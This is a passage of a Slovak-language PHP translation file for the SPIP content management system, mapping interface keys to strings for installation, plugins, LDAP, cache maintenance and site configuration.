'info_webmestre_forces' => 'Správcovia webu sú momentálne zapísaní v súbore <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Adresa databázy priradená poskytovateľom hostingu',
'install_base_ok' => 'Databáza @base@ bola identifikovaná',
'install_connect_ok' => 'Nová databáza bola deklarovaná pomocou názvu servera @connect@.',
'install_echec_annonce' => 'Táto inštalácia sa pravdepodobne nepodarí, alebo poškodí vašu stránku.',
'install_extension_mbstring' => 'SPIP nespolupracuje s:',
'install_extension_php_obligatoire' => 'SPIP potrebuje rozšírenie php:',
'install_login_base_hebergeur' => 'Prihlasovacie meno priradené poskytovateľom služby',
'install_nom_base_hebergeur' => 'Názov databázy priradený poskytovateľom služby:',
'install_pas_table' => 'Databáza nemá žiadne tabuľky',
'install_pass_base_hebergeur' => 'Heslo priradené poskytovateľom hostingu',
'install_php_version' => 'Táto verzia PHP @version@ je príliš stará (minimum = @minimum@)',
'install_select_langue' => 'Vyberte si jazyk a potom kliknite na tlačidlo „Ďalej“, aby sa mohla spustiť inštalácia.',
'install_select_type_db' => 'Uveďte typ databázy:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Server databázy priradený poskytovateľom hostingu',
'install_table_prefix_hebergeur' => 'Predpona tabuliek priradená poskytovateľom hostingu:',
'install_tables_base' => 'Tabuľky v databáze',
'install_types_db_connus' => 'SPIP vie používať <b>MySQL</b> (najbežnejšie) a <b>SQLite.</b>',
'install_types_db_connus_avertissement' => 'Podpora <b>PostgreSQL</b> sa tiež poskytuje experimentálne',
'instituer_erreur_statut_a_change' => 'Stav bol zmenený',
'instituer_erreur_statut_non_autorise' => 'Vy nemôžete vybrať tento stav',
'intem_redacteur' => 'redaktor',
'intitule_licence' => 'Licencia',
'item_accepter_inscriptions' => 'Povoliť registráciu',
'item_activer_messages_avertissement' => 'Aktivovať správy s upozorneniami',
'item_administrateur_2' => 'administrátor',
'item_afficher_calendrier' => 'Zobraziť v kalendári',
'item_autoriser_documents_joints' => 'Povoliť pripájanie súborov k článkom',
'item_autoriser_documents_joints_rubriques' => 'Povoliť súbory v rubrikách',
'item_autoriser_syndication_integrale' => 'Do syndikačných kanálov zaradiť celé články',
'item_choix_administrateurs' => 'administrátorov',
'item_choix_generation_miniature' => 'Generovať miniatúry automaticky.',
'item_choix_non_generation_miniature' => 'Negenerovať miniatúry.',
'item_choix_redacteurs' => 'redaktori',
'item_choix_visiteurs' => 'návštevníci verejne prístupnej stránky',
'item_creer_fichiers_authent' => 'Vytvoriť súbory .htpasswd',
'item_limiter_recherche' => 'Obmedziť vyhľadávanie na vašu stránku',
'item_login' => 'Používateľské meno',
'item_messagerie_agenda' => 'Aktivovať odkazovač a kalendáre',
'item_mots_cles_association_articles' => 'články',
'item_mots_cles_association_rubriques' => 'rubriky',
'item_mots_cles_association_sites' => 'odkazované alebo syndikované stránky.',
'item_non' => 'Nie',
'item_non_accepter_inscriptions' => 'Deaktivovať registráciu',
'item_non_activer_messages_avertissement' => 'Žiadne správy s upozorneniami',
'item_non_afficher_calendrier' => 'Nezobrazovať v kalendári',
'item_non_autoriser_documents_joints' => 'Nepovoliť súbory v článkoch',
'item_non_autoriser_documents_joints_rubriques' => 'Nepovoliť súbory v rubrikách',
'item_non_autoriser_syndication_integrale' => 'Poslať len zhrnutie',
'item_non_compresseur' => 'Deaktivovať kompresiu',
'item_non_creer_fichiers_authent' => 'Nevytvárať tieto súbory',
'item_non_gerer_statistiques' => 'Nerobiť štatistiky',
'item_non_limiter_recherche' => 'Rozšíriť vyhľadávanie o obsah odkazovaných stránok',
'item_non_messagerie_agenda' => 'Deaktivovať odkazovač a kalendáre',
'item_non_publier_articles' => 'Nepublikovať články pred dátumom publikovania.',
'item_non_utiliser_moteur_recherche' => 'Nepoužívať vyhľadávač',
'item_nouvel_auteur' => 'Nový autor',
'item_nouvelle_rubrique' => 'Nová rubrika',
'item_oui' => 'Áno',
'item_publier_articles' => 'Publikovať články bez ohľadu na ich dátum publikovania.',
'item_reponse_article' => 'Odpovedať na článok',
'item_utiliser_moteur_recherche' => 'Používať vyhľadávač',
'item_version_html_max_html4' => 'Na verejne prístupnej stránke používať iba HTML4',
'item_version_html_max_html5' => 'Povoliť HTML5',
'item_visiteur' => 'návštevník',
// J
'jour_non_connu_nc' => 'neznámy',
// L
'label_bando_outils' => 'Panel nástrojov',
'label_bando_outils_afficher' => 'Zobraziť nástroje',
'label_bando_outils_masquer' => 'Schovať nástroje',
'label_choix_langue' => 'Vyberte si jazyk',
'label_nom_fichier_connect' => 'Uveďte názov tohto servera',
'label_slogan_site' => 'Slogan webstránky',
'label_taille_ecran' => 'Šírka obrazovky',
'label_texte_et_icones_navigation' => 'Menu navigácie',
'label_texte_et_icones_page' => 'Zobrazenie stránky',
'ldap_correspondance' => 'dediť pole @champ@',
'ldap_correspondance_1' => 'Dediť polia LDAP',
'ldap_correspondance_2' => 'Pre každé z týchto polí SPIPu zadajte názov príslušného poľa LDAP. Nevypĺňajte, ak ho nechcete mať vyplnené; ak chcete vyskúšať niekoľko polí LDAP, oddeľte ich medzerami alebo bodkami.',
'lien_ajout_destinataire' => 'Pridať tohto príjemcu',
'lien_ajouter_auteur' => 'Pridať tohto autora',
'lien_ajouter_participant' => 'Pridať účastníka',
'lien_ajouter_une_rubrique' => 'Pridať túto rubriku',
'lien_email' => 'e-mail',
'lien_nom_site' => 'NÁZOV STRÁNKY:',
'lien_retirer_auteur' => 'Odstrániť autora',
'lien_retirer_rubrique' => 'Odstrániť rubriku',
'lien_retirer_tous_auteurs' => 'Odstrániť všetkých autorov',
'lien_retirer_toutes_rubriques' => 'Odstrániť všetky rubriky',
'lien_retrait_particpant' => 'Odstrániť tohto účastníka',
'lien_site' => 'stránka',
'lien_supprimer_rubrique' => 'Odstrániť túto rubriku',
'lien_tout_deplier' => 'Rozšíriť všetko',
'lien_tout_replier' => 'Stiahnuť všetko',
'lien_tout_supprimer' => 'Odstrániť všetko',
'lien_trier_nom' => 'Zoradiť podľa názvu',
'lien_trier_nombre_articles' => 'Zoradiť podľa celkového počtu článkov',
'lien_trier_statut' => 'Zoradiť podľa stavu',
'lien_voir_en_ligne' => 'ZOBRAZIŤ ONLINE:',
'logo_article' => 'Logo článku',
'logo_auteur' => 'Logo autora',
'logo_rubrique' => 'Logo rubriky',
'logo_site' => 'Logo tejto stránky',
'logo_standard_rubrique' => 'Štandardné logo rubrík',
'logo_survol' => 'Logo „pre prechádzajúcu myš“',
// M
'menu_aide_installation_choix_base' => 'Výber databázy',
'module_fichier_langue' => 'Jazykový súbor',
'module_raccourci' => 'Skratka',
'module_texte_affiche' => 'Zobrazovaný text',
'module_texte_explicatif' => 'Tieto skratky môžete vložiť do šablón svojej stránky. Automaticky sa preložia do jazykov, pre ktoré existuje jazykový súbor.',
'module_texte_traduction' => 'Jazykový súbor "@module@" je dostupný v:',
'mois_non_connu' => 'neznámy',
// N
'nouvelle_version_spip' => 'K dispozícii je SPIP verzia @version@',
// O
'onglet_contenu' => 'Obsah',
'onglet_declarer_une_autre_base' => 'Zaviesť ďalšiu databázu',
'onglet_discuter' => 'Diskutovať',
'onglet_documents' => 'Dokumenty',
'onglet_interactivite' => 'Interaktívnosť',
'onglet_proprietes' => 'Vlastnosti',
'onglet_repartition_actuelle' => 'teraz',
'onglet_sous_rubriques' => 'Podrubriky',
// P
'page_pas_proxy' => 'Táto stránka sa nesmie spúšťať cez proxy',
'pas_de_proxy_pour' => 'Ak treba, určte, na ktoré počítače alebo domény sa tento proxy nemá použiť (napríklad @exemple@)',
'plugin_charge_paquet' => 'Spúšťa sa archívny súbor @name@',
'plugin_charger' => 'Stiahnuť',
'plugin_erreur_charger' => 'chyba: nedá sa spustiť @zip@',
'plugin_erreur_droit1' => 'Do priečinka <code>@dest@</code> sa nedá zapisovať.',
'plugin_erreur_droit2' => 'Prosím, skontrolujte práva na zápis pre tento priečinok (a ak treba, vytvorte priečinok). Prípadne nainštalujte súbory cez FTP.',
'plugin_erreur_zip' => 'zlyhanie pclzip: chyba @status@',
'plugin_etat_developpement' => 'vo vývoji',
'plugin_etat_experimental' => 'experimentálny',
'plugin_etat_stable' => 'stabilný',
'plugin_etat_test' => 'testuje sa',
'plugin_impossible_activer' => 'Zásuvný modul @plugin@ sa nedá aktivovať',
'plugin_info_automatique1' => 'Ak chcete povoliť automatickú inštaláciu zásuvných modulov, prosím:',
'plugin_info_automatique1_lib' => 'Ak chcete povoliť, aby sa táto knižnica nainštalovala automaticky, prosím:',
'plugin_info_automatique2' => 'Vytvorte priečinok <code>@rep@</code>,',
'plugin_info_automatique3' => 'Skontrolujte, či má server správne povolenia na zápis do priečinka.',
'plugin_info_automatique_creer' => 'vytvoriť v koreňovom adresári stránky.',
'plugin_info_automatique_exemples' => 'príklady:',
'plugin_info_automatique_ftp' => 'Zásuvné moduly môžete nainštalovať cez FTP do priečinka <tt>@rep@</tt>',
'plugin_info_automatique_lib' => 'Niektoré zásuvné moduly potrebujú mať možnosť nahrávať súbory do priečinka <code>lib/</code>. Tento priečinok by mal byť vytvorený v koreňovom adresári stránky.',
'plugin_info_automatique_liste' => 'Zoznam vašich zásuvných modulov:',
'plugin_info_automatique_liste_officielle' => 'Oficiálne zásuvné moduly',
'plugin_info_automatique_liste_update' => 'Aktualizovať zoznamy',
'plugin_info_automatique_ou' => 'alebo...',
'plugin_info_automatique_select' => 'Nižšie si vyberte zásuvný modul: SPIP ho nahrá a nainštaluje do priečinka <code>@rep@.</code> Ak už zásuvný modul existuje, bude aktualizovaný.',
'plugin_info_credit' => 'Poďakovanie',
'plugin_info_erreur_xml' => 'Deklarácia tohto zásuvného modulu nie je správna',
'plugin_info_install_ok' => 'Inštalácia úspešná',
'plugin_info_necessite' => 'Potrebuje:',
'plugin_info_non_compatible_spip' => 'Tento zásuvný modul nie je kompatibilný s touto verziou SPIPu',
'plugin_info_plugins_dist_1' => 'Do priečinka @plugins_dist@ boli nahrané a boli v ňom aktivované tieto zásuvné moduly.',
'plugin_info_plugins_dist_2' => 'Nedajú sa deaktivovať.',
'plugin_info_telecharger' => 'spustiť z @url@ a nainštalovať na @rep@',
'plugin_info_upgrade_ok' => 'Úspešná aktualizácia',
'plugin_librairies_installees' => 'Nainštalované knižnice',
'plugin_necessite_lib' => 'Tento zásuvný modul potrebuje knižnicu @lib@',
'plugin_necessite_plugin' => 'Vyžaduje sa verzia @version@ alebo novšia verzia zásuvného modulu @plugin@.',
'plugin_necessite_plugin_sans_version' => 'Potrebuje zásuvný modul @plugin@',
'plugin_necessite_spip' => 'Vyžaduje sa SPIP, verzia @version@ alebo novšia.',
'plugin_source' => 'zdroj: ',
'plugin_titre_automatique' => 'Automatická inštalácia',
'plugin_titre_automatique_ajouter' => 'Pridať zásuvné moduly',
'plugin_titre_installation' => 'Inštalácia zásuvného modulu @plugin@',
'plugin_titre_modifier' => 'Moje zásuvné moduly',
'plugin_zip_active' => 'Pokračujte, aby sa aktivoval',
'plugin_zip_adresse' => 'Ak chcete spustiť zazipovaný súbor zásuvného modulu alebo zoznam zásuvných modulov, zadajte toto umiestnenie.',
'plugin_zip_adresse_champ' => 'Umiestnenie zásuvného modulu alebo zoznamu ',
'plugin_zip_content' => 'Obsahuje tieto súbory (@taille@),<br />pripravené na nainštalovanie do priečinka <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Súbor @zip@ bol rozbalený a nainštalovaný.',
'plugin_zip_installe_rep_finie' => 'Súbor @zip@ bol rozbalený a nainštalovaný do priečinka @rep@',
'plugin_zip_installer' => 'Teraz si ho môžete nainštalovať.',
'plugin_zip_telecharge' => 'Súbor @zip@ bol spustený',
'plugins_actif_aucun' => 'Žiaden zásuvný modul nie je aktívny.',
'plugins_actif_un' => 'Jeden zásuvný modul je aktívny',
'plugins_actifs' => '@count@ aktívnych zásuvných modulov.',
'plugins_actifs_liste' => 'Aktívne',
'plugins_compte' => '@count@ zásuvných modulov',
'plugins_disponible_un' => 'Je dostupný 1 zásuvný modul',
'plugins_disponibles' => '@count@ dostupných zásuvných modulov.',
'plugins_erreur' => 'Chyba v zásuvných moduloch: @plugins@',
'plugins_liste' => 'Zoznam zásuvných modulov',
'plugins_liste_dist' => 'Zamknuté zásuvné moduly',
'plugins_recents' => 'Najnovšie zásuvné moduly',
'plugins_tous_liste' => 'Všetky',
'plugins_vue_hierarchie' => 'Hierarchia',
'plugins_vue_liste' => 'Zoznam',
'protocole_ldap' => 'Verzia protokolu:',
// Q
'queue_executer_maintenant' => 'Spustiť teraz',
'queue_info_purger' => 'Môžete vymazať všetky čakajúce úlohy a zaplniť zoznam pravidelnými úlohami',
'queue_nb_jobs_in_queue' => '@nb@ úloh v rade',
'queue_next_job_in_nb_sec' => 'Ďalšia úloha o @nb@ s.',
'queue_no_job_in_queue' => 'Žiadne nevykonané úlohy',
'queue_one_job_in_queue' => '1 úloha v rade',
'queue_purger_queue' => 'Obnoviť rad úloh',
'queue_titre' => 'Zoznam úloh',
// R
'repertoire_plugins' => 'Priečinok:',
// S
'sans_heure' => 'neurčený čas',
'statut_admin_restreint' => 'administrátor s obmedzeniami',
'statut_webmestre' => 'webmaster',
// T
'tache_cron_asap' => 'Funkcia CRON @function@ (ihneď)',
'tache_cron_secondes' => 'Funkcia CRON @function@ (všetkých @nb@)',
'taille_cache_image' => 'Obrázky, ktoré SPIP automaticky obnoví (miniatúry, titulky zmenené na grafiku, matematické vzorce vo formáte TeX, atď.) zaberajú spolu v priečinku @dir@ @taille@ .',
'taille_cache_infinie' => 'Táto stránka nemá žiaden pevný limit pre veľkosť cache.',
'taille_cache_maxi' => 'SPIP sa bude snažiť obmedziť veľkosť priečinka cache na približne <b>@octets@.</b>',
'taille_cache_moins_de' => 'Veľkosť cache je menej ako @octets@.',
'taille_cache_octets' => 'Veľkosť cache je teraz približne @octets@.',
'taille_cache_vide' => 'Cache je prázdna.',
'taille_repertoire_cache' => 'Aktuálna veľkosť cache',
'text_article_propose_publication' => 'Článok bol odoslaný na publikovanie.',
'texte_acces_ldap_anonyme_1' => 'Niektoré servery LDAP nepovoľujú žiaden anonymný prístup. V tomto prípade musíte určiť prvý prístupový údaj na vyhľadávania v priečinku v budúcnosti. Vo väčšine prípadov však tieto polia môžu ostať prázdne.',
'texte_admin_effacer_01' => 'Tento príkaz vymaže <i>celý</i> obsah databázy,
vrátane <i>všetkých</i> prístupových údajov redaktorov a administrátorov. Po jeho vykonaní musíte
preinštalovať SPIP, vytvoriť novú databázu a nový účet pre administrátora.',
'texte_adresse_annuaire_1' => '(Ak je váš priečinok nainštalovaný na rovnakom počítači ako internetová stránka, je to pravdepodobne "localhost".)',
'texte_ajout_auteur' => 'K článku bol pridaný tento autor:',
'texte_annuaire_ldap_1' => 'Ak máte prístup k priečinkovému serveru LDAP, môžete ho využiť na automatické nahrávanie používateľov do SPIPu.',
'texte_article_statut' => 'Stav článku:',
'texte_article_virtuel' => 'Virtuálny článok',
'texte_article_virtuel_reference' => '<b>Virtuálny článok:</b> článok na vašej stránke v SPIPe, ktorý presmeruje na inú internetovú adresu. Ak chcete odstrániť presmerovanie, odstráňte internetovú adresu.',
'texte_aucun_resultat_auteur' => 'Žiadne výsledky pre reťazec „@cherche_auteur@“.',
'texte_auteur_messagerie' => 'Táto stránka dokáže aktualizovať zoznam redaktorov online v reálnom čase, čo umožňuje ostatným používateľom kontaktovať vás. Môžete sa rozhodnúť, že sa v tomto zozname neobjavíte (potom budete pre ostatných „neviditeľný“).',
'texte_auteur_messagerie_1' => 'Táto stránka umožňuje výmenu odkazov a vytváranie súkromných diskusných fór medzi prispievateľmi na stránku. Môžete sa rozhodnúť aj tak, že sa na týchto aktivitách nebudete zúčastňovať.',
'texte_auteurs' => 'AUTORI',
'texte_choix_base_1' => 'Vyberte si databázu:',
'texte_choix_base_2' => 'Server SQL obsahuje niekoľko databáz.',
'texte_choix_base_3' => '<b>Vyberte</b> tú, ktorú vám priradil poskytovateľ hostingu:',
'texte_choix_table_prefix' => 'Predpona tabuliek:',
'texte_commande_vider_tables_indexation' => 'Použite tento príkaz na vymazanie indexovacích tabuliek, ktoré
používa vyhľadávač integrovaný v SPIPe. Umožní vám to
ušetriť trochu miesta na disku.',
'texte_compatibilite_html' => 'Môžete žiadať, aby SPIP vytváral kód kompatibilný so štandardom <i>HTML4</i> alebo mu povoliť, aby používal modernejší kód, kompatibilný s <i>HTML5.</i>',
'texte_compatibilite_html_attention' => 'Pri aktivovaní možnosti <i>HTML5</i> nehrozí žiadne nebezpečenstvo. Ak to však urobíte, stránky vášho webu sa musia začínať týmto kódom, aby boli platné: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(voliteľná kompresia)',
'texte_compte_element' => '@count@ prvok',
'texte_compte_elements' => '@count@ prvkov',
'texte_conflit_edition_correction' => 'Prosím, porovnajte rozdiely medzi týmito dvoma verziami. Môžete si tiež skopírovať svoje zmeny a začať odznova.',
'texte_connexion_mysql' => 'Prečítajte si informácie od poskytovateľa webhostingu. Mali by obsahovať kódy na pripojenie k serveru SQL.',
'texte_contenu_article' => '(Stručný obsah článku.)',
'texte_contenu_articles' => 'V závislosti od vzhľadu svojej stránky sa môžete rozhodnúť,
že niektoré časti článkov sa nebudú používať.
Na výber častí, ktoré majú byť k dispozícii, použite tento zoznam.',
'texte_crash_base' => 'Ak sa vaša databáza zrútila,
môžete ju skúsiť opraviť
automaticky.',
'texte_creer_rubrique' => 'Predtým, ako napíšete nejaké články,<br /> musíte vytvoriť rubriku.',
'texte_date_creation_article' => 'DÁTUM VYTVORENIA ČLÁNKU:',
'texte_date_creation_objet' => 'Dátum vytvorenia:', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Dátum prvého publikovania:',
'texte_date_publication_anterieure_nonaffichee' => 'Skryť dátum predchádzajúceho publikovania.',
'texte_date_publication_article' => 'PUBLIKOVANÝ DŇA:',
'texte_date_publication_objet' => 'Dátum publikovania online:',
'texte_descriptif_petition' => 'Opis petície',
'texte_descriptif_rapide' => 'Stručný opis',
'texte_effacer_base' => 'Vymazať databázu SPIPu',
'texte_effacer_donnees_indexation' => 'Zmazať údaje o indexovaní',
'texte_effacer_statistiques' => 'Vymazať štatistiky',
'texte_en_cours_validation' => 'Tieto veci čakajú na schválenie.',
'texte_enrichir_mise_a_jour' => 'Vzhľad svojho textu môžete obohatiť pomocou klávesových skratiek.',
'texte_fichier_authent' => '<b>Má SPIP vytvoriť špeciálne súbory <tt>.htpasswd</tt>
a <tt>.htpasswd-admin</tt> v priečinku @dossier@?</b><p>
Tieto súbory sa dajú použiť na obmedzenie prístupu autorom
a administrátorom na ostatné časti vašej stránky
(napr. externý štatistický program).</p><p>
Ak to nepotrebujete, môžete nechať túto možnosť
s predvolenou hodnotou (žiadne
vytváranie súborov).</p>',
'texte_informations_personnelles_1' => 'Systém vám teraz vytvorí osobný účet pre túto stránku.',
'texte_informations_personnelles_2' => '(Poznámka: ide o preinštaláciu, ak vám stále funguje prístup ',
'texte_introductif_article' => '(Úvodný text článku.)',
'texte_jeu_caractere' => 'Na stránke sa odporúča používať „univerzálnu abecedu“ (<tt>utf-8</tt>). To umožní zobraziť text v hocijakom jazyku. Všetky moderné prehliadače sú s touto znakovou sadou úplne kompatibilné.',
'texte_jeu_caractere_2' => 'Pozn.: Týmto nastavením neskonvertujete text, ktorý sa už nachádza v databáze.',
'texte_jeu_caractere_3' => 'Vaša stránka momentálne používa túto znakovú sadu:',
'texte_jeu_caractere_4' => 'Ak sa vaše dáta nezobrazujú správne (to sa môže stať po obnovení databázy zo zálohy), alebo ak <em>nastavujete túto stránku</em> a chcete použiť inú znakovú sadu, prosím, uveďte ju tu:',
'texte_jeu_caractere_conversion' => 'Poznámka: Môžete sa rozhodnúť skonvertovať všetky texty (články, novinky, diskusné fóra, atď.) na svojej stránke navždy do znakovej sady <tt>utf-8</tt>. Ak to chcete urobiť, prejdite na <a href="@url@">stránku konverzie na UTF-8.</a>',
'texte_lien_hypertexte' => '(Ak sa váš príspevok týka článku publikovaného na internete, alebo stránky, na ktorej je viac informácií, prosím, zadajte sem jej titulok a adresu.)',
'texte_login_ldap_1' => '(Nevypĺňajte pri anonymnom prístupe alebo zadajte celé umiestnenie, napr. „<tt>uid=smith, ou=používatelia, dc=moja-doména, dc=com</tt>“.)',
'texte_login_precaution' => 'Pozor! Toto je prihlasovacie meno, ktoré momentálne používate.
Používajte tento formulár obozretne.',
'texte_message_edit' => 'Pozor: túto správu môžu upravovať všetci administrátori stránky a uvidia ju všetci redaktori. Na oznámenie dôležitých informácií, ktoré sa týkajú stránky, používajte, prosím, iba oznamy.',
'texte_messagerie_agenda' => 'Odkazovač umožňuje autorom tejto stránky komunikovať priamo v súkromnej zóne. Je prepojený s kalendárom.',
'texte_mise_a_niveau_base_1' => 'Práve ste aktualizovali súbory SPIPu.
Teraz musíte aktualizovať databázu
stránky.',
'texte_modifier_article' => 'Upraviť tento článok:',
'texte_moteur_recherche_active' => '<b>Vyhľadávač je aktivovaný.</b> Použite tento príkaz,
ak chcete spustiť jeho rýchle preindexovanie (napr. po obnovení
zálohy). Mali by ste mať na pamäti, že súbory zmenené
bežným spôsobom (cez rozhranie SPIPu) sa automaticky
preindexujú. Preto je tento príkaz užitočný iba za zvláštnych okolností.',
'texte_moteur_recherche_non_active' => 'Vyhľadávač nie je aktivovaný.',
'texte_multilinguisme' => 'Ak chcete mať redakčné objekty v rôznych jazykoch, môžete do nich pridať menu na výber jazyka v závislosti od organizácie vašej stránky.',
'texte_multilinguisme_trad' => 'Môžete tiež aktivovať systém na správu prepojení medzi rôznymi prekladmi niektorých objektov.',
'texte_non_compresse' => '<i>rozbalené</i> (váš server nepodporuje túto funkciu)',
'texte_nouveau_message' => 'Nová správa',
'texte_nouvelle_version_spip_1' => 'Práve ste nainštalovali novú verziu SPIPu.',
'texte_nouvelle_version_spip_2' => 'Táto nová verzia si vyžaduje rozsiahlejšiu aktualizáciu ako obyčajne. Ak ste webmasterom tejto stránky, prosím, odstráňte súbor @connect@ a reštartujte inštaláciu, aby sa aktualizovali údaje na pripojenie k vašej databáze. <p>(P.S.: ak ste zabudli údaje na pripojenie, pozrite sa do súboru @connect@ predtým, ako ho odstránite!)</p>',
'texte_operation_echec' => 'Vráťte sa na predchádzajúcu stránku, vyberte inú databázu, alebo vytvorte novú. Skontrolujte údaje, ktoré poskytuje vaša hostingová služba.',
'texte_plus_trois_car' => 'viac ako 3 znaky',
'texte_plusieurs_articles' => 'K reťazcu "@cherche_auteur@" sa našlo niekoľko autorov:',
'texte_port_annuaire' => '(Obyčajne je vhodná predvolená hodnota.)',
'texte_presente_plugin' => 'Na tejto stránke sa nachádza zoznam zásuvných modulov dostupných na tomto webe. Označením príslušného políčka aktivujte moduly, ktoré potrebujete.',
'texte_proposer_publication' => 'Keď článok dokončíte,<br /> môžete ho odoslať na publikovanie.',
'texte_proxy' => 'V niektorých prípadoch (napr. intranet, chránená sieť), je na prístup k externým stránkam potrebné použiť <i>HTTP proxy</i> (dokumentácia k SPIPU, stránky syndikácie, atď.). Ak je to aj váš prípad, zadajte jeho adresu nižšie, do formulára @proxy_en_cours@. Vo väčšine prípadov môžete nechať toto pole prázdne.',
'texte_publication_articles_post_dates' => 'Čo má SPIP urobiť s článkami, ktorých
dátum publikovania bol nastavený
na dátum v budúcnosti?',
'texte_rappel_selection_champs' => '[Pamätajte si, že toto pole treba označiť správne.]',
'texte_recalcul_page' => 'Ak chcete
obnoviť iba jednu stránku, je jednoduchšie zobraziť si túto stránku z verejne prístupnej stránky a kliknúť na "Obnoviť túto stránku".',
'texte_recapitiule_liste_documents' => 'Na tejto stránke nájdete zoznam súborov, ktoré ste umiestnili do rubrík. Ak chcete upraviť údaje nejakého súboru, kliknite na odkaz na príslušnú rubriku.',
'texte_recuperer_base' => 'Opraviť databázu',
'texte_reference_mais_redirige' => 'odkazovaný článok na vašej stránke, ale presmerovaný na inú www adresu.',
'texte_requetes_echouent' => '<b>Keď sú niektoré požiadavky na SQL stále neúspešné
bez zjavného dôvodu, je možné,
že na vine je
samotná databáza.</b><p>
Server SQL má funkciu na opravovanie tabuliek,
ktorá bola náhodne
poškodená. Tu sa môžete pokúsiť vykonať túto opravu;
pre prípad zlyhania by ste si mali nechať kópiu obrazovky, kde sa môžu nachádzať indície
na vyriešenie problému.</p><p>
Ak sa problém nevyrieši, kontaktujte poskytovateľa služby.</p>',
'texte_selection_langue_principale' => 'Nižšie si môžete zvoliť „hlavný jazyk“ stránky. To neznamená, že články budete môcť písať iba v tomto jazyku, ale použije sa to na určenie
<ul><li> predvoleného formátu dátumov na verejne prístupnej stránke,</li>
<li> správania klávesnice, ktorú SPIP použije na vkladanie textu,</li>
<li> jazyka, ktorý sa bude používať v diskusných fórach na verejne prístupnej stránke,</li>
<li> predvoleného jazyka, ktorý sa zobrazí v súkromnej zóne.</li></ul>',
'texte_sous_titre' => 'Podtitulok',
'texte_statistiques_visites' => '(tmavé čiary = nedeľa, tmavá krivka: priemerná návštevnosť)',
'texte_statut_attente_validation' => 'čaká na schválenie',
'texte_statut_publies' => 'uverejnených online',
'texte_statut_refuses' => 'zamietnutý',
'texte_suppression_fichiers' => 'Tento príkaz použite na vymazanie všetkých súborov
v cache SPIPu. To si vynúti obnovenie každej stránky vášho webu, čo je užitočné po veľkých zmenách v grafike alebo štruktúre stránky.',
'texte_sur_titre' => 'Nadtitulok',
'texte_table_ok' => ': táto tabuľka je v poriadku.',
'texte_tables_indexation_vides' => 'Indexovacie tabuľky vyhľadávača sú prázdne.',
'texte_tentative_recuperation' => 'Pokus o opravu',
'texte_tenter_reparation' => 'Pokus o opravu databázy',
'texte_test_proxy' => 'Ak chcete vyskúšať tento proxy, zadajte sem adresu stránky,
ktorú chcete otestovať.',
'texte_titre_02' => 'Titulok:',
'texte_titre_obligatoire' => '<b>Titulok</b> [Povinné]',
'texte_travail_article' => '@nom_auteur_modif@ pracoval(a) na tomto článku pred @date_diff@ minútami',
'texte_travail_collaboratif' => 'Ak niekoľko redaktorov často (spolu)pracuje na rovnakom článku, systém môže označiť nedávno „otvorené“ články, aby sa predišlo tomu, že ich budú upravovať v tom istom čase viacerí ľudia.
Táto možnosť je v prvotných nastaveniach vypnutá, aby sa predišlo zbytočným správam
s varovaniami.',
'texte_trop_resultats_auteurs' => 'Priveľa výsledkov pre reťazec "@cherche_auteur@"; prosím, upresnite svoje vyhľadávanie.',
'texte_unpack' => 'Sťahuje sa najnovšia verzia',
'texte_utilisation_moteur_syndiques' => 'Keď budete používať vyhľadávač integrovaný v SPIPe,
syndikované stránky a články
môžete prehľadávať rôznymi spôsobmi. <br />
Najjednoduchší spôsob vyhľadávania je
podľa názvov a opisov článkov. <br />
Druhý, rýchlejší, umožňuje
SPIPu vyhľadávať aj na stránkach,
na ktoré sa odkazuje. Ak odkazujete
na stránku, SPIP prehľadá text tejto stránky
samostatne.',
'texte_utilisation_moteur_syndiques_2' => 'Tento spôsob prinúti SPIP pravidelne navštevovať stránky, na ktoré sa odkazuje, čo môže spôsobiť spomalenie rýchlosti vašej vlastnej stránky.',
'texte_vide' => 'prázdny ',
'texte_vider_cache' => 'Vyprázdniť cache',
'titre_admin_effacer' => 'Technická údržba',
'titre_admin_tech' => 'Technická údržba',
'titre_admin_vider' => 'Technická údržba',
'titre_ajouter_un_auteur' => 'Pridať autora',
'titre_ajouter_un_mot' => 'Pridať kľúčové slovo',
'titre_ajouter_une_rubrique' => 'Pridať rubriku',
'titre_cadre_afficher_article' => 'Zobraziť články:',
'titre_cadre_afficher_traductions' => 'Zobraziť stav prekladu pre tieto jazyky:',
'titre_cadre_ajouter_auteur' => 'PRIDAŤ AUTORA:',
'titre_cadre_interieur_rubrique' => 'V rubrike',
'titre_cadre_numero_auteur' => 'AUTOR ČÍSLO',
'titre_cadre_numero_objet' => '@objet@ ČÍSLO:',
'titre_cadre_signature_obligatoire' => '<b>Podpis</b> [Povinné]<br />',
'titre_config_contenu_notifications' => 'Oznámenia',
'titre_config_contenu_prive' => 'V súkromnej zóne',
'titre_config_contenu_public' => 'Na verejne prístupnej stránke',
'titre_config_fonctions' => 'Nastavenia stránky',
'titre_config_langage' => 'Nastaviť jazyk',
'titre_configuration' => 'Nastavenia stránky',
'titre_configurer_preferences' => 'Nastavte si predvoľby',
'titre_conflit_edition' => 'Konflikt pri úpravách',
'titre_connexion_ldap' => 'Možnosti: <b>Pripojenie k LDAP</b>',
'titre_groupe_mots' => 'SKUPINA KĽÚČOVÝCH SLOV:',
'titre_identite_site' => 'Identita stránky',
'titre_langue_article' => 'Jazyk článku',
'titre_langue_rubrique' => 'Jazyk rubriky',
'titre_langue_trad_article' => 'JAZYK ČLÁNKU A JEHO PREKLADY',
'titre_les_articles' => 'ČLÁNKY',
'titre_messagerie_agenda' => 'Odkazovač a kalendár',
'titre_naviguer_dans_le_site' => 'Prehľadávať stránku...',
'titre_nouvelle_rubrique' => 'Nová rubrika',
'titre_numero_rubrique' => 'RUBRIKA ČÍSLO:',
'titre_page_admin_effacer' => 'Technická údržba: vymazanie databázy',
'titre_page_articles_edit' => 'Zmeniť: @titre@',
'titre_page_articles_page' => 'Články',
'titre_page_articles_tous' => 'Celá stránka',
'titre_page_auteurs' => 'Návštevníci',
'titre_page_calendrier' => 'Kalendár na @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Nastavenia stránky',
'titre_page_config_fonctions' => 'Nastavenia stránky',
'titre_page_configuration' => 'Nastavenia stránky',
'titre_page_controle_petition' => 'Sledovanie petícií',
